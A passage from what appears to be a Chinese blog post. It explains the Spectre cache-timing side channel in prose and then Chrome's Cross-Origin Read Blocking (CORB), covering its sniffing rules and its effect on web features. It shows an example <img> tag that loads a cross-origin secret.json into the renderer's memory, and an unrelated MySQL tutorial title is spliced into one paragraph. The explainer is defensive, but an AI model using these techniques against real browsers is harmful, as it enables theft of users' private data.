arr1 假设是一个比较小的数组,x 是一个我们定义的索引值变量 正常情况下,如果 x 超过 arr1 的长度,程序是要崩溃的,因为它越界了,但是在预执行的前提下,CPU 可能会忽略越界的问题而执行 if 语句内部的代码 arr2 是我们提前声明的一个用来储存数据的数组,它储存于内存的另一个区域,它是连续的,而且我们强制它没有拷贝至缓存,只保存于内存(这点在视频中有提及,我这里强调一下) 之后我们假设 arr1 中的位于 x 索引出的值是 k,那么在预执行的前提下,y = arr2[arr1[x]]等价于y = arr2[k] 然后由于我们会把 arr2[k] 这个值付给另一个变量 y,这里其实算是一个访问值的操作,CPU 后将 arr2[k] 位于内存地址的值转入缓存中,而其余元素保留在内存中(因为并未访问) 之后,只需要遍历 arr2 这个数组,当发现某个索引上的值的访问速度远快于其他索引的访问速度时,这个索引既是我们从越界内存中“偷”到的值。至此,一次攻击就完成了,理论上,利用这个漏洞,可以获取缓存区所有地址的值,其中很有可能包含敏感信息,比如密码什么的。

CORB(Cross-Origin Read Blocking)

说了这么多,终于可以引入正题了。它是什么呢?引入 chromium 文档中关于它的定义:

an algorithm by which dubious cross-origin resource loads may be identified and blocked by web browsers before they reach the web page.

浏览器在加载可以跨域资源时,在资源载入页面之前,对其进行识别和拦截的算法。

这里可能有人会问,这和上面说的一堆又有什么关系呢?是这样的,Chrome浏览器在处理不同 tab 和不同页面时,会将为它们划分不同的进程,而且受制于同源策略的影响,这些页面之间本应该互不干扰。但是我们知道,同源策略虽然牛逼,但浏览器中仍然存在一些不受制于它约束的 api、标签,比如常见的 img、iframe 和 script等等。诸如以下代码,不知道看文章的诸位有没有写过,反正我是写过,或者说遇见过:

<img src="https://foo/bar/baz/">

有人可能会问,一个 img 标签你 src 属性不填图片的 uri,你是不是傻。其实不是这样的,有时候对网站做一些跟踪和分析时,确实会这么写,因为浏览器会往https://foo/bar/baz/这个地址发送一个 GET 资源的请求,在服务端我们可以利用这个请求做一些追踪的逻辑,同理 script 也可以完成需求。但是这么做的后果就是,虽然 img 帮我们发送了这个请求,但是它却没有得到所期望格式的资源,所以这里实际可以算作一种错误或者异常。而一些攻击者可以利用这一点,比如,在页面嵌入下面的代码:

<img src="https://example.com/secret.json">

来加载跨域私密文件,因为 img 不受同源策略的制约,这个请求是可以发出去的,服务器响应返回后,显然 secret.json 不是一个图片格式的资源,img 不会显示它,但是并不代表负责渲染当前页面的进程的内存中没有保留关于 secret.json 的数据。因此攻击者可以利用上文中提及的漏洞,编写一些代码来“偷”这些数据,从而造成安全隐患。云服务器Window Server 2012R系统安装MySQL的详细教程

而 CORB 的作用就是当浏览器尝试以上面代码的方式加载跨域资源时,在资源未被加载之前进行拦截,从而提升攻击者进行幽灵攻击的成本,这里之所以是说提升成本还非彻底解决是因为这个漏洞是基于硬件层面的,所以软件层面只能做有限的修复,有的人可能马上会说,那 CPU 直接去掉或者用户放弃使用预处理功能不就好了吗?理论上是这样的,但是这将导致预处理带来的性能红利瞬间消失,而且 CPU 的架构设计也不是一天两天就能改的,而且就算改了也没办法一下普及。

哪些内容类型受 CORB 保护

当前有三种内容类型受保护,分别是 json、html 和 xml。关于如何针对每种内容类型 CORB 如何对其进行保护,文档中有详细的章节进行介绍,这里就不多说了。我浏览了一遍,大体的规则均是对内容格式进行一些有针对性的校验,以确认它确实是某个内容类型。这个校验结果最终影响 CORB 的运作方式。

CORB 如何运作

这里我引用文档部分章节并做翻译,关于其中的备注可以直接浏览原文档进行查看。

CORB 会根据如下步骤来确定是否对 response 进行保护(如果响应的内容格式是 json、html 或者 xml):

如果 response 包含 X-Content-Type-Options: nosniff 响应头部,那么如果 Content-Type 是以下几种的话, response 将受 CORB 保护:

html mime type
xml  mime type(除了 image/svg+xml)
json mime type
text/plain

如果 response 的状态是 206,那么如果 Content-Type 是以下几种的话, response 将受 CORB 保护:

html mime type
xml  mime type(除了 image/svg+xml)
json mime type

否则,CORB 将尝试探测 response 的 body:

html mime type,并且探测结果是 html 内容格式,response 受 CORB 保护
xml  mime type(除了 image/svg+xml), 并且探测结果是 xml 内容格式,response 受 CORB 保护
json mime type,并且探测结果是 json 内容格式,response 受 CORB 保护
text/plain,并且探测结果是 json、html 或者 xml 内容格式,response 受 CORB 保护
任何以 JSON security prefix 开头的 response(除了 text/css)受 CORB 保护

这里值得一提的是,对于探测是必须的,以防拦截了那些依赖被错误标记的跨源响应的页面(比如,图片资源但是格式却被标记为 text/html)。如果不进行格式探测,那么会有16倍以上的 response 被拦截。

CORB 如何拦截一个响应

当一个 response 被 CORB 保护时,它的 body 会被覆盖为空,同时 headers 也会被移除(当前 Chrome 仍然会保留 Access-Control-* 相关的 headers)。关于 CORB 的工作方式,一定要和 CORS 做区分,因为它要防止这些被拦截的数据进入渲染当前页面进程的内存中,所以它一定不会被加载并读取。这不同于 CORS,因为后者会做一些过滤操作,数据虽然不可被加载,但是可能仍然保留在渲染进程的内存中。

对于其他 web 平台特性的影响

这里仍然是翻译部分文档中的内容,因为本身写的就很细致了。

CORB 不会影响以下技术场景:

XHR and fetch()

CORB 并不会产生显而易见的影响,因为 XHR 和 fetch() 在响应中已经应用了同源策略(比如:CORB 应该仅会拦截那些因缺少 CORS 而发生跨域 XHR 错误的 response)

Prefetch CORB 会拦截那些到达跨源渲染进程的 response body,但是不会阻止那些被浏览器进程缓存的 response body(然后传递到另一个同源渲染进程)。

Tracking and reporting 当前存在各种各样的技术,尝试对记录用户访问的服务器发送 web 请求,以检查用户是否已访问某些内容。该请求经常使用隐藏的 img 标签进行发送(我前文提及了),然后服务器以 204 状态码或者 html 文档进行响应。除了 img,还可以使用类似 script、style 和别的可用标签。 CORB 不会对这些技术场景造成影响,因为它们不会依赖于服务器返回响应的内容。这一点同样使用与其他类似的技术场景和 web 特性,只要它们不关心响应即可,比如:beacons,ping,CSP违规报告 等。

Service workers Service workers 可以拦截跨源 requests 并在其内部人为地构建 response(没有跨源和安全边界),CORB 不会拦截它们。 当 Service workers 确实缓存了一些跨源的 responses 时,由于这些 responses 对于调用者来讲是透明的,因此 CORB 会拦截它们,但是这并不需要对 Service Worker 作出任何改变。

Blob and File API 即使没有 CORB 的话,获取跨源的 blob URLs 当前也会被拦截。

Content scripts and plugins 它们所属的范围并不含在 CORB 的职责内 —— CORB 假设已经有某种合适的安全策略或安全机制存在于这些 content scripts 和 plugins 中(比如 Adobe Flash 已经实现了类似 CORB 的机制,通过 crossdomain.xml)。